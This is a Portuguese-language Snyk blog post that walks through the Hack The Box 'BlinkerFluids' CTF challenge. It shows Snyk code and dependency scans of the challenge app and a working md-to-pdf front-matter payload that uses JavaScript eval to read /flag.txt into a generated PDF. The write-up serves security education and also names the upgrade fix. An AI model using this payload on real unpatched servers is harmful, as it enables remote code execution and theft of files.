Skip to main content

Resolva desafios do Hack The Box e outros CTFs com a Snyk

Escrito por
Headshot of Mathias Conradt

Mathias Conradt

feature ctf challenge

1 de setembro de 2022

0 minutos de leitura

Hack The Box (HTB) é uma plataforma que transforma o treinamento em cibersegurança em um jogo. É indicada tanto para quem quer trabalhar com testes de invasão quanto para desenvolvedores que desejam se tornar referências em segurança — ou simplesmente entender melhor a mentalidade de quem ataca — para criar aplicações mais seguras.

Acredito na eficácia da gamificação no treinamento e na educação porque, sejamos sinceros: quem nunca participou de um treinamento interno de segurança ou estudou para uma certificação e, seis meses depois, já esqueceu tudo? O HTB segue uma abordagem diferente, com jogos práticos de captura de bandeira (CTF), nos quais os participantes invadem uma máquina — normalmente uma máquina virtual Linux ou Windows — encontrando e explorando vulnerabilidades para capturar duas bandeiras: primeiro, a de um usuário comum; depois, a do usuário root, por meio de uma escalada de privilégios. Uma bandeira é simplesmente o conteúdo de um arquivo de texto específico armazenado na máquina.

Além das "máquinas" (os principais itens da plataforma), o Hack The Box também oferece tarefas menores das quais você pode participar, chamadas "Challenges". Em geral, esses desafios são mais curtos e pedem apenas uma bandeira, mas costumam incluir um conjunto completo de arquivos para baixar. Pode ser um arquivo PCAP para analisar no Wireshark ou o código-fonte completo da aplicação em questão, que permite analisar sua estrutura e seu código — exatamente aí que a Snyk entra.

A Snyk ajuda você a encontrar vulnerabilidades e possíveis pontos de entrada mais rapidamente. Com a Snyk CLI, você pode executar testes SAST (teste estático de segurança de aplicações) e SCA (análise de composição de software) no seu projeto, além de verificar arquivos de manifesto da aplicação, como package.json, em busca de vulnerabilidades conhecidas em bibliotecas de código aberto. Ela também aponta provas de conceito (PoCs).

Análise do desafio BlinkerFluids

O desafio BlinkerFluids é um ótimo exemplo do HTB. Como é relativamente fácil e uma boa opção para começar, vou usá-lo como demonstração neste artigo.

Painel do BlinkrFluids em tema escuro, mostrando uma lista de serviços monitorados, gráficos de status, alertas e detalhes dos serviços.

Ao iniciar o desafio, você recebe o IP e a porta do host (46.101.2.216:32221 neste exemplo). Ao abrir esse endereço no navegador, você verá um site com uma interface simples.

Tela do desafio BlinkerFluids com detalhes da instância, instruções para download e uma descrição sobre um misterioso fornecedor de fluidos

Vamos descobrir o que há por trás desta URL de destino acessando http://46.101.2.216:32221.

A aplicação tem uma única página com uma lista de faturas e permite exportá-las como PDF, excluí-las ou criar novas.

Página de lista de faturas do Blinker Fluids, mostrando uma fatura com data de emissão, opção de exportação em PDF, ação para excluir e botão para criar uma nova fatura

Ao passar o cursor sobre o link de exportação em PDF, vemos que os arquivos parecem ser servidos por uma pasta de recursos estáticos.

Lista de faturas da Blinker Fluids mostrando uma fatura, a data de emissão, a opção de exportar em PDF, a ação Excluir e o botão Criar nova fatura.

O editor de criação de faturas parece oferecer um editor WYSIWYG que recebe conteúdo em uma linguagem de marcação (Markdown) antes de convertê-lo em PDF.

Tela de criação de fatura do Blinker Fluids com detalhes da empresa, informações do cliente, linha de produtos, totais e botão Salvar

Antes de analisar melhor o host de destino, vamos baixar os recursos fornecidos pelo desafio. Depois de baixar e extrair o arquivo ZIP, temos o código-fonte completo da aplicação, um aplicativo Node empacotado como imagem Docker — incluindo o Dockerfile e o package.json.

Também encontramos um arquivo flag.txt na pasta raiz. Nos desafios do HTB, a bandeira geralmente fica no caminho /flag.txt. No entanto, o arquivo deste pacote ZIP é apenas um marcador, não a bandeira ativa que estamos procurando. A plataforma HTB gera e alterna essas bandeiras on-line usando uma lógica própria. De qualquer forma, agora conhecemos os ingredientes e o modo de preparo do aplicativo BlinkerFluids.

─$ tree -L 2 
. 
├── build-docker.sh 
├── challenge 
│ ├── database.js 
│ ├── helpers 
│ ├── index.js 
│ ├── node_modules 
│ ├── package.json 
│ ├── package-lock.json
│ ├── routes 
│ ├── static 
│ └── views 
├── config 
│ └── supervisord.conf 
├── Dockerfile 
└── flag.txt 
7 directories, 8 files

A aplicação propriamente dita fica na subpasta "challenge". Como podemos ver, há algumas bibliotecas Node definidas como dependências diretas e transitivas em node_modules. Também encontramos a pasta static, que parece servir os PDFs exportados que vimos anteriormente.

╰─$ tree -L 2 
. 
├── database.js 
├── helpers 
│ └── MDHelper.js 
├── index.js 
├── node_modules 
│ ├── ... 
│ ├── marked 
│ ├── md-to-pdf 
│ ├── media-typer 
│ ├── ... 
├── package.json 
├── package-lock.json 
├── routes 
│ └── index.js 
├── static 
│ ├── css 
│ ├── images 
│ ├── invoices 
│ └── js 
└── views 
└── index.html 
379 directories, 7 files

Análise de vulnerabilidades com a Snyk

Como estamos procurando uma forma de invadir a aplicação e capturar o /flag.txt da instância on-line, podemos estudar o código em detalhes para entender a lógica. Para não alongar demais este artigo, não vou entrar em muitos detalhes.

Em resumo, estamos procurando vulnerabilidades no código personalizado ou em qualquer uma das dependências diretas ou indiretas (transitivas).

A Snyk CLI permite fazer as duas coisas. Se você ainda não instalou a Snyk, basta executar:

npm i -g snyk

ou seguir qualquer outro método de sua preferência, conforme a documentação na página de instalação da Snyk CLI.

Na subpasta challenge, primeiro executamos um teste SAST no código personalizado:

snyk code test

e obtemos os seguintes resultados:

$ snyk code test

Testing 
/home/mconradt/Documents/HTB/Challenges/web_blinkerfluids/challenge ...

  ✗ [Medium] Cross-Site Request Forgery (CSRF) 
    Path: index.js, line 2 
    Info: Consider using csurf middleware for your Express app to protect against CSRF   attacks.

  ✗ [Medium] Information Exposure 
    Path: index.js, line 2 
    Info: Disable X-Powered-By header for your Express app (consider using Helmet middleware), because it exposes information about the used framework to potential attackers. 

  ✗ [Medium] Allocation of Resources Without Limits or Throttling 
    Path: routes/index.js, line 9 
    Info: This endpoint handler performs a file system operation and does
not use a rate-limiting mechanism. It may enable the attackers to perform Denial-of-service attacks. Consider using a rate-limiting middleware such as express-limit. 

  ✗ [High] Cross-site Scripting (XSS) 
    Path: static/js/main.js, line 20 
    Info: Unsanitized input from data from a remote resource flows into append, where it is used to dynamically construct the HTML page on client side. This may result in a DOM Based Cross-Site Scripting attack (DOMXSS). 

✔ Test completed

Organization: e-corp-demo 
Test type: Static code analysis 
Project path: 
/home/mconradt/Documents/HTB/Challenges/web_blinkerfluids/challenge 

Summary:

  4 total Code issues: | 1 High | 3 Medium

Embora encontremos algumas vulnerabilidades, inclusive uma de alta gravidade, não há nada que possamos aproveitar — neste caso, XSS não ajuda muito. Então, vamos continuar com um teste SCA.

Em um teste SCA, a Snyk analisa os arquivos de manifesto do projeto (no caso do Node.js, package.json e package-lock.json).

$ cat package.json 
↵ 1 
{ 
        "name": "blinker-fluids", 
        "version": "1.0.0", 
        "description": "", 
        "main": "index.js", 
        "scripts": { 
                "start": "node index.js" 
        }, 
        "keywords": [], 
        "author": "rayhan0x01", 
        "license": "ISC", 
        "dependencies": { 
                "express": "4.17.3", 
                "md-to-pdf": "4.1.0", 
                "nunjucks": "3.2.3", 
                "sqlite-async": "1.1.3", 
                "uuid": "8.3.2" 
        }, 
        "devDependencies": { 
                "nodemon": "^1.19.1" 
        } 
} 

Embora haja apenas 5 dependências diretas no package.json, são 371 dependências no total quando incluímos as transitivas, como vemos no package-lock.json. É muita vulnerabilidade para verificar manualmente. Vamos executar:

$ npm install 
$ snyk test

Os resultados são:

$ snyk test

Testing
/home/mconradt/Documents/HTB/Challenges/web_blinkerfluids/challenge...

Tested 286 dependencies for known issues, found 4 issues, 11 vulnerable paths. 

Issues to fix by upgrading: 

  Upgrade md-to-pdf@4.1.0 to md-to-pdf@5.0.2 to fix 
  ✗ Regular Expression Denial of Service (ReDoS) [Medium Severity]  [https://security.snyk.io/vuln/SNYK-JS-MARKED-2342073] in marked@2.1.3 introduced by md-to-pdf@4.1.0 > marked@2.1.3 
  ✗ Regular Expression Denial of Service (ReDoS) [Medium Severity] [https://security.snyk.io/vuln/SNYK-JS-MARKED-2342082] in marked@2.1.3 introduced by md-to-pdf@4.1.0 > marked@2.1.3 
  ✗ Remote Code Execution (RCE) [Critical Severity] 
[https://security.snyk.io/vuln/SNYK-JS-MDTOPDF-1657880] in md-to pdf@4.1.0 
    introduced by md-to-pdf@4.1.0 

Issues with no direct upgrade or patch: 
  ✗ Regular Expression Denial of Service (ReDoS) [High Severity] [https://security.snyk.io/vuln/SNYK-JS-ANSIREGEX-1583908] in ansi regex@2.1.1 
    introduced by md-to-pdf@4.1.0 > listr@0.14.3 > listr-update renderer@0.5.0 > strip-ansi@3.0.1 > ansi-regex@2.1.1 and 7 other path(s) This issue was fixed in versions: 3.0.1, 4.1.1, 5.0.1, 6.0.1 

Organization: e-corp-demo 
Package manager: npm 
Target file: package-lock.json 
Project name: blinker-fluids 
Open source: no 
Project path: 
/home/mconradt/Documents/HTB/Challenges/web_blinkerfluids/challenge 
Licenses: enabled
Captura de tela de um terminal exibindo um relatório de análise estática de código que identifica quatro problemas de segurança no Express.js, incluindo vulnerabilidades de CSRF e poluição de protótipo.

Agora sim. Podemos ignorar os problemas de ReDoS, já que causar uma indisponibilidade do serviço não nos ajudaria a acessar a plataforma. Mas a vulnerabilidade crítica de Remote Code Execution (RCE) no md-to-pdf parece muito promissora — exatamente o que precisamos. Podemos supor que md-to-pdf é a biblioteca auxiliar usada para converter o Markdown da fatura em PDF.

É aqui que vemos o poder da Snyk. Ela analisou as dependências do projeto em segundos, apontou as vulnerabilidades e até incluiu um link para o Snyk Vulnerability Database — com uma PoC de exploração e links para o relatório original do problema:

Página do banco de dados de vulnerabilidades da Snyk mostrando uma vulnerabilidade crítica de execução remota de código, com pontuação 9,8, no pacote md-to-pdf, além de trechos de código.

Essas informações ajudam na exploração, mas vale destacar que o relatório da Snyk também recomenda como corrigir o problema, como mostra a captura de tela acima. Ou seja, é uma orientação realmente prática.

How to fix? 
Upgrade md-to-pdf to version 5.0.0 or higher.

Mas, como agora estamos no papel de quem ataca, vamos consultar o problema original no GitHub para saber mais.

Como aponta o problema no GitHub, a causa é a biblioteca gray-matter (usada pelo md-to-pdf para analisar o front matter), que expõe um mecanismo JavaScript por padrão. Na prática, ela executa eval no Markdown fornecido, permitindo que qualquer pessoa que controle o conteúdo do Markdown execute JavaScript arbitrário.

Podemos ver a PoC original e, mais adiante nos comentários, uma PoC ligeiramente modificada.

Página escura de uma issue do GitHub mostrando um comentário sobre um pacote JavaScript malicioso e a execução arbitrária de código.

Essa PoC tenta listar e exibir o conteúdo de um diretório. Como queremos acessar o conteúdo da bandeira em /flag.txt, fazemos uma pequena alteração para ler o arquivo da bandeira:

---js 
{ 
  css: `body::before { content: 
"${require('fs').readFileSync('/flag.txt')}"; display: block }`, } 
---

Ao colar esse código no gerador de faturas e clicar em salvar, recebemos um PDF com a bandeira que procuramos.

Página de criação de fatura de Blinker Fluids, mostrando um editor de código escuro com conteúdo CSS e um botão Salvar
Lista de faturas da Blinker Fluids com IDs, datas de emissão, links para exportar em PDF, opções para excluir e um botão para criar uma nova fatura
Janela do navegador Adobe Acrobat exibindo um PDF com o URL desfocado e o painel Ferramentas aberto, com opções de conversão de PDF

Envie essa bandeira e o desafio estará resolvido. Vamos para o próximo :)

Vire fera em CTFs com a Snyk

Os desafios do Hack The Box são uma forma divertida de aprender sobre vulnerabilidades e como explorá-las. A Snyk nos ajudou a resolver este desafio do Hack The Box ao analisar rapidamente as dependências da aplicação e apontar uma vulnerabilidade crítica de RCE, com informações sobre como explorá-la. Ela também forneceu orientações para que o desenvolvedor da aplicação corrigisse o problema.

Anote na agenda: a Snyk vai organizar o "Fetch the Flag CTF" em 9 de novembro. Inscreva-se e participe: são 16 desafios à sua espera.

Comece a participar de desafios de Capture the Flag

Aprenda a resolver desafios de Capture the Flag assistindo sob demanda ao nosso workshop virtual introdutório.

Sobre o autor

Mathias Conradt é empreendedor e profissional de cibersegurança, com experiência em engenharia de software e pré-vendas, embaixador da Snyk e líder do capítulo alemão da DevSecCon. Ele também participa de CTFs. Acesse o site pessoal dele.

Leia mais

blog feature snyk container custom base recommendations
Blog

Conheça o Evo Agentic AppSec: segurança que acompanha o ritmo do desenvolvimento com IA

O desenvolvimento impulsionado por IA está avançando mais rápido do que os fluxos de trabalho de segurança tradicionais. O AppSec agentivo da Snyk usa agentes de segurança para encontrar, corrigir e verificar vulnerabilidades continuamente, enquanto as pessoas definem os critérios.

blog feature ai violet
Blog

VulnBump: agentes de IA conseguem corrigir dependências vulneráveis sem quebrar o build?

O VulnBump testa agentes de IA em 307 atualizações reais de dependências. Uma correção só é considerada válida se eliminar a vulnerabilidade e mantiver o build e os testes funcionando.

Blog

Modelos de ponta encontraram as vulnerabilidades. Só o atacante encontrou as cadeias.

A análise estática encontrou as falhas, mas só os testes de ataque em aplicações ativas provaram como elas poderiam ser encadeadas para causar invasões. Uma comparação entre Evo COS, Claude Security e Claude Code Security.